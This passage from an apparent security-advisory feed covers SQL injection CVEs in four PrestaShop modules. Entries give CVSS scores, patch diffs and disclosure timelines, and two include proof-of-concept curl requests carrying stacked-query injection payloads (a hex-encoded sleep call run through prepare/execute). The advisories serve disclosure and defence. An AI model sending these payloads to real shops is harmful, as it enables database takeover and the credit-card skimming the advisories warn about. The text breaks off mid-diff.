  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">BaproductzoommagnifierZoomModuleFrontController::run()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s2">"fc=module&amp;module=baproductzoommagnifier&amp;controller=zoom&amp;id_langs=1';select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">from@a;execute</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">;--"</span> <span class="s1">'https://preprod.X/'</span>
</code></pre></div></div>

<h2 id="patch-from-1016">Patch from 1.0.16</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.16/modules/baproductzoommagnifier/controllers/front/zoom.php
</span><span class="gi">+++ XXXXXX/modules/baproductzoommagnifier/controllers/front/zoom.php
</span><span class="err">...</span>
        $id_lang = Tools::getValue('id_langs');
        $id_shop = Tools::getValue('id_shop');
        $name_product = Tools::getValue('name_product');
        $db = Db::getInstance(_PS_USE_SQL_SLAVE_);
        $search = "Select " . _DB_PREFIX_ . "product_lang.id_product," . _DB_PREFIX_ . "product_lang.name from ";
        $search .= _DB_PREFIX_ . "product INNER JOIN " . _DB_PREFIX_ . "product_lang ON " ;
        $search .= _DB_PREFIX_ . "product_lang.id_product=";
        $search .= _DB_PREFIX_ . "product.id_product WHERE ";
        $search .= _DB_PREFIX_ . "product_lang.name like '%".pSQL($name_product)."%'";
<span class="gd">-       $search .=" AND id_lang='$id_lang' AND id_shop = '".(int) $id_shop."'";
</span><span class="gi">+       $search .=" AND id_lang=" . (int) $id_lang . " AND id_shop = " . (int) $id_shop;
</span><span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>baproductzoommagnifier</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-09-30</td>
      <td>Contact Author to confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-09-30</td>
      <td>Author confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-20</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-11-28</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-19</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://buy-addons.com/store/prestashop/module/product-page/best-zoom-magnifier-effect-bazoom-magnifier.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-50027">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Best Zoom Magnifier Effect - BAZoom Magnifier” (baproductzoommagnifier) up to version 1.0.16 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46989] Improper neutralization of SQL parameter in Innovadeluxe - Quick Order module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/12/12/idxquickorder.html" rel="alternate" type="text/html" title="[CVE-2023-46989] Improper neutralization of SQL parameter in Innovadeluxe - Quick Order module for PrestaShop" /><published>2023-12-12T00:00:00+00:00</published><updated>2023-12-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/12/12/idxquickorder</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/12/12/idxquickorder.html"><![CDATA[<p>In the module “Quick Order” (idxquickorder) all versions below 1.4.0 from Innovadeluxe for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46989">CVE-2023-46989</a></li>
  <li><strong>Published at</strong>: 2023-12-12</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: idxquickorder</li>
  <li><strong>Impacted release</strong>: &lt;1.4.0 (1.4.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Innovadeluxe</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">IdxquickorderProductListModuleFrontController::getProducts()</code> in controllers/front/productlist.php has a sensitive SQL call that can be executed with a trivial http call and exploited to forge an SQL injection.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-111">Patch from 1.1.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.1.1/modules/idxquickorder/controllers/front/productlist.php
</span><span class="gi">+++ XXXXX/modules/idxquickorder/controllers/front/productlist.php
</span><span class="err">...</span>
        if(Tools::getValue('limitini')) {
<span class="gd">-         $limit_ini = Tools::getValue('limitini');
</span><span class="gi">+         $limit_ini = (int) Tools::getValue('limitini');
</span>        } else {
            $limit_ini = null;
        }
        if(Tools::getValue('limitend')) {
<span class="gd">-           $limit_end = Tools::getValue('limitend');
</span><span class="gi">+           $limit_end = (int) Tools::getValue('limitend');
</span>        } else {
             $limit_end = null;   
        }
        if($limit_ini || $limit_end) {        
<span class="gd">-           $this-&gt;ajaxProcessProductlist($limit_ini, $limit_end, Tools::getValue('catid'));
</span><span class="gi">+           $this-&gt;ajaxProcessProductlist($limit_ini, $limit_end, (int) Tools::getValue('catid'));
</span><span class="err">...</span>
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>idxquickorder</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-10-27</td>
      <td>Issue discovered during a code review by <a href="https://www.creabilis.com">Creabilis</a></td>
    </tr>
    <tr>
      <td>2023-10-27</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-27</td>
      <td>PrestaShop Addons security Team confirms version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-27</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-06</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/blog-forum-actualites/4731-idxquickorder-un-blog-professionnel-pour-votre-boutique.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46989">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Quick Order” (idxquickorder) all versions below 1.4.0 from Innovadeluxe for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-40921] Improper neutralization of a SQL parameter in deprecated soliberte module from Common Services for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/12/12/soliberte.html" rel="alternate" type="text/html" title="[CVE-2023-40921] Improper neutralization of a SQL parameter in deprecated soliberte module from Common Services for PrestaShop" /><published>2023-12-12T00:00:00+00:00</published><updated>2023-12-12T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/12/12/soliberte</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/12/12/soliberte.html"><![CDATA[<p>In the module “soliberte” for PrestaShop, an attacker can perform a SQL injection from &gt;= 4.0.0 and &lt; 4.3.03. Release 4.3.03 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40921">CVE-2023-40921</a></li>
  <li><strong>Published at</strong>: 2023-12-12</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: soliberte</li>
  <li><strong>Impacted release</strong>: &gt;= 4.0.0 and &lt; 4.3.03 (4.3.03 fixed issue)</li>
  <li><strong>Product author</strong>: Common Services</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before 4.3.03, a sensitive SQL calls in file <code class="language-plaintext highlighter-rouge">functions/point_list.php</code> can be executed with a trivial http call and exploited to forge a blind SQL injection throught the POST or GET submitted <code class="language-plaintext highlighter-rouge">lat</code> and <code class="language-plaintext highlighter-rouge">lng</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/soliberte/classes/socolissimo.class.php
</span><span class="gi">+++ b/modules/soliberte/classes/socolissimo.class.php
</span><span class="p">@@ -822,7 +822,7 @@</span> class So_Colissimo extends Module
        public function lookup_latlng($lat, $lng, $limiter = 30)
        {
                $countDeactivateCarrier = 0;
<span class="gd">-               $formula = "(6366*acos(cos(radians('$lat'))*cos(radians(`lat`))*cos(radians(`lng`) -radians('$lng'))+sin(radians('$lat'))*sin(radians(`lat`))))";
</span><span class="gi">+               $formula = "(6366*acos(cos(radians('" . (float)$lat . "'))*cos(radians(`lat`))*cos(radians(`lng`) -radians('" . (float)$lng . "'))+sin(radians('" . (float)$lat . "'))*sin(radians(`lat`)))&gt;
</span>                // meme principe que chmod pour savoir lesquels ne sont pas a inclure dans la recherche
                if (!Configuration::get('SOLIBERTE_BPR'))
                        $countDeactivateCarrier += 4;
<span class="p">@@ -899,8 +899,8 @@</span> class So_Colissimo extends Module
                {
                        case $this-&gt;_retrait :
                                if ($lat)
<span class="gd">-                                       $formula = "(6366*acos(cos(radians('$lat'))*cos(radians(`lat`))*cos(radians(`lng`) -radians('$lng'))+sin(radians('$lat'))*sin(radians(`lat`))))";
-                               $sql = 'select `id`, `libelle`, `adresse1`, `adresse2`, `lieudit`, `indice`, `code_postal`, `commune`, `lat`, `lng`, `mobilite_reduite`, `type`, `poids` '.
</span><span class="gi">+                                       $formula = "(6366*acos(cos(radians('" . (float)$lat . "'))*cos(radians(`lat`))*cos(radians(`lng`) -radians('" . (float)$lng . "'))+sin(radians('" . (float) $lat . &gt;
+                               $sql = 'select `id`, `libelle`, `adresse1`, `adresse2`, `lieudit`, `indice`, `code_postal`, `commune`, `la t`, `lng`, `mobilite_reduite`, `type`, `poids` '.
</span>                                        ($lat ? ', '.$formula.' as distance ' : '').
                                        ' from '.$this-&gt;_retrait.' where id = "'.(int)$pr_id.'"';
                                $tab = 0;
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>
    <ul>
      <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
    </ul>
  </li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-08-12</td>
      <td>Vunlnerability found during a audit by <a href="https://www.202-ecommerce.com/">202 ecommerce</a></td>
    </tr>
    <tr>
      <td>2023-08-16</td>
      <td>Contact PrestaShop addons teams to get the scope</td>
    </tr>
    <tr>
      <td>2023-09-18</td>
      <td>PrestaShop addons teams confirm the issue and supply a fixed release</td>
    </tr>
    <tr>
      <td>2023-08-15</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-08-25</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-12-12</td>
      <td>Publication of this advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://common-services.com/fr/modules/">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-40921">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “soliberte” for PrestaShop, an attacker can perform a SQL injection from &gt;= 4.0.0 and &lt; 4.3.03. Release 4.3.03 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-48925] Improper neutralization of SQL parameter in Buy Addons - Product Video, Youtube, Vimeo Tab module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/12/07/bavideotab.html" rel="alternate" type="text/html" title="[CVE-2023-48925] Improper neutralization of SQL parameter in Buy Addons - Product Video, Youtube, Vimeo Tab module for PrestaShop" /><published>2023-12-07T00:00:00+00:00</published><updated>2023-12-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/12/07/bavideotab</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/12/07/bavideotab.html"><![CDATA[<p>In the module “Product Video, Youtube, Vimeo Tab” (bavideotab) up to version 1.0.5 from Buy Addons for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: [CVE-2023-48925]</li>
  <li><strong>Published at</strong>: 2023-12-07</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: bavideotab</li>
  <li><strong>Impacted release</strong>: &lt;= 1.0.5 (1.0.6 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Buy Addons</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Methods <code class="language-plaintext highlighter-rouge">BaVideoTabSaveVideoModuleFrontController::run()</code> and <code class="language-plaintext highlighter-rouge">BaVideoTabConfirmDeleteModuleFrontController::run()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy a webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit, so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s2">"fc=module&amp;module=bavideotab&amp;controller=confirmdelete&amp;id=1%27;select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">from@a;execute</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">;--&amp;id_lang=1"</span> <span class="s1">'https://preprod.X/'</span>
curl <span class="nt">-v</span> <span class="nt">-d</span> <span class="s2">"fc=module&amp;module=bavideotab&amp;controller=savevideo&amp;id_product=1%22;select(0x73656C65637420736C656570283432293B)INTO@a;prepare</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">from@a;execute</span><span class="sb">`</span>b<span class="sb">`</span><span class="s2">;--&amp;id_lang=1"</span> <span class="s1">'https://preprod.X/'</span>
</code></pre></div></div>

<h2 id="patch-from-105">Patch from 1.0.5</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.5/modules/bavideotab/controllers/front/confirmdelete.php
</span><span class="gi">+++ 1.0.6/modules/bavideotab/controllers/front/confirmdelete.php
</span><span class="p">@@ -33,8 +33,8 @@</span> class BaVideoTabConfirmDeleteModuleFront
     public function run()
     {
         $db = Db::getInstance(_PS_USE_SQL_SLAVE_);
<span class="gd">-        $id_product=Tools::getValue('id');
-        $id_lang = Tools::getValue('id_lang');
</span><span class="gi">+        $id_product = (int) Tools::getValue('id');
+        $id_lang = (int) Tools::getValue('id_lang');
</span>         $id_shop=($this-&gt;context-&gt;shop-&gt;id);
         $sql="SELECT text_url FROM "._DB_PREFIX_."url_video WHERE id_product='".$id_product."'";
         $sql .= "AND id_lang='".$id_lang."' AND id_store='".$id_shop."' AND type = 1 ";

</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.0.5/modules/bavideotab/controllers/front/savevideo.php
</span><span class="gi">+++ 1.0.6/modules/bavideotab/controllers/front/savevideo.php
</span><span class="p">@@ -33,14 +33,14 @@</span> class BaVideoTabSaveVideoModuleFrontCont
         $id_lang_default = Configuration::get('PS_LANG_DEFAULT');
         $ob_lang_default = new Language($id_lang_default);
         $name_lang_default = $ob_lang_default-&gt;name;
<span class="gd">-        $id_shop = Tools::getValue('id_shop');
</span><span class="gi">+        $id_shop = (int) Tools::getValue('id_shop');
</span>         $name_shop = Tools::getValue('name_shop');
         $db = Db::getInstance(_PS_USE_SQL_SLAVE_);
         $url = $_SERVER['SCRIPT_FILENAME'];
         $url = rtrim($url, 'index.php');
         $languages = Language::getLanguages();
<span class="gd">-        $type_video = Tools::getValue('type_video');
-        $id_product = Tools::getValue('id_product');
</span><span class="gi">+        $type_video = (int) Tools::getValue('type_video');
+        $id_product = (int) Tools::getValue('id_product');
</span>         $sql = 'SELECT * FROM '._DB_PREFIX_.'product_lang WHERE id_product="'.$id_product.'"';
         $show = $db-&gt;ExecuteS($sql);

@@ -91,7 +91,7 @@ class BaVideoTabSaveVideoModuleFrontCont
                         $sql = "INSERT INTO "._DB_PREFIX_."url_video ";
                         $sql .= "(id_video,id_product,id_lang,id_store,text_url,language,shop,name_product,type)";
                         $sql .= " VALUES ('','".$id_product."','".$id_lang_default."','".$id_shop."','";
<span class="gd">-                        $sql .= "".$video_upload_default."','".$name_lang_default."','".$name_shop."','";
</span><span class="gi">+                        $sql .= "".$video_upload_default."','".$name_lang_default."','".pSQL($name_shop)."','";
</span>                         $sql .= "".$name_product."','".$type_video."')";
                         $db-&gt;query($sql);
                         $url_save_video = _PS_ROOT_DIR_.'/media/'.$id_shop."/".$id_product."/";
<span class="p">@@ -102,7 +102,7 @@</span> class BaVideoTabSaveVideoModuleFrontCont
                             $sql = "INSERT INTO "._DB_PREFIX_."url_video ";
                             $sql .= "(id_video,id_product,id_lang,id_store,text_url,language,shop,name_product,type)";
                             $sql .= " VALUES ('','".$id_product."','".$value['id_lang']."','".$id_shop."','";
<span class="gd">-                            $sql .= "".$video_upload_default."','".$value['name']."','".$name_shop."','";
</span><span class="gi">+                            $sql .= "".$video_upload_default."','".$value['name']."','".pSQL($name_shop)."','";
</span>                             $sql .= "".$name_product."','".$type_video."')";
                             $db-&gt;query($sql);
                             $url_save_video = _PS_ROOT_DIR_.'/media/'.$id_shop."/".$id_product."/";
<span class="p">@@ -113,7 +113,7 @@</span> class BaVideoTabSaveVideoModuleFrontCont
                             $sql = "INSERT INTO "._DB_PREFIX_."url_video ";
                             $sql .= "(id_video,id_product,id_lang,id_store,text_url,language,shop,name_product,type)";
                             $sql .= " VALUES ('','".$id_product."','".$value['id_lang']."','".$id_shop."','";
<span class="gd">-                            $sql .= "".$video_url."','".$value['name']."','".$name_shop."','";
</span><span class="gi">+                            $sql .= "".$video_url."','".$value['name']."','".pSQL($name_shop)."','";
</span>                             $sql .= "".$name_product."','".$type_video."')";
                             $db-&gt;query($sql);
                             $url_save_video = _PS_ROOT_DIR_.'/media/'.$id_shop."/".$id_product."/";
<span class="p">@@ -160,7 +160,7 @@</span> class BaVideoTabSaveVideoModuleFrontCont
                         $sql = "REPLACE INTO "._DB_PREFIX_."url_video ";
                         $sql .= "(id_video,id_product,id_lang,id_store,text_url,language,shop,name_product,type)";
                         $sql .= " VALUES ('".$id_video."','".$id_product."','".$value['id_lang']."','";
<span class="gd">-                        $sql .= "".$id_shop."','".$video_url."','".$value['name']."','".$name_shop."','";
</span><span class="gi">+                        $sql .= "".$id_shop."','".$video_url."','".$value['name']."','".pSQL($name_shop)."','";
</span>                         $sql .= "".$name_product."','".$type_video."')";
                         $db-&gt;query($sql);
                         $url_save_video = _PS_ROOT_DIR_.'/media/'.$id_shop."/".$id_product."/";
<span class="p">@@ -195,7 +195,7 @@</span> class BaVideoTabSaveVideoModuleFrontCont
                         $sql .= "(id_video,id_product,id_store,text_url,language,shop,name_product,type,id_lang)";
                         $sql .= " VALUES ('".$id_video."','".$id_product."','".$id_shop."','";
                         $sql .= "".trim($name_url_array[$value_lang['id_lang']])."','".$value_lang['name']."','";
<span class="gd">-                        $sql .= "".$name_shop."','".$name_product."','".$type_video."','".$value_lang['id_lang']."')";
</span><span class="gi">+                        $sql .= "".pSQL($name_shop)."','".$name_product."','".$type_video."','".$value_lang['id_lang']."')";
</span>                         $db-&gt;query($sql);
                         $ok="3";
                     }
<span class="p">@@ -214,7 +214,7 @@</span> class BaVideoTabSaveVideoModuleFrontCont
                         $sql .= "(id_video,id_product,id_store,text_url,language,shop,name_product,type,id_lang)";
                         $sql .= " VALUES ('".$id_video."','".$id_product."','".$id_shop."','";
                         $sql .= "".trim($name_url_array[$value_lang['id_lang']])."','".$value_lang['name']."','";
<span class="gd">-                        $sql .= "".$name_shop."','".$name_product."','".$type_video."','".$value_lang['id_lang']."')";
</span><span class="gi">+                        $sql .= "".pSQL($name_shop)."','".$name_product."','".$type_video."','".$value_lang['id_lang']."')";
</span>                         $db-&gt;query($sql);
                         $ok="3";
                     } else {
<span class="p">@@ -230,7 +230,7 @@</span> class BaVideoTabSaveVideoModuleFrontCont
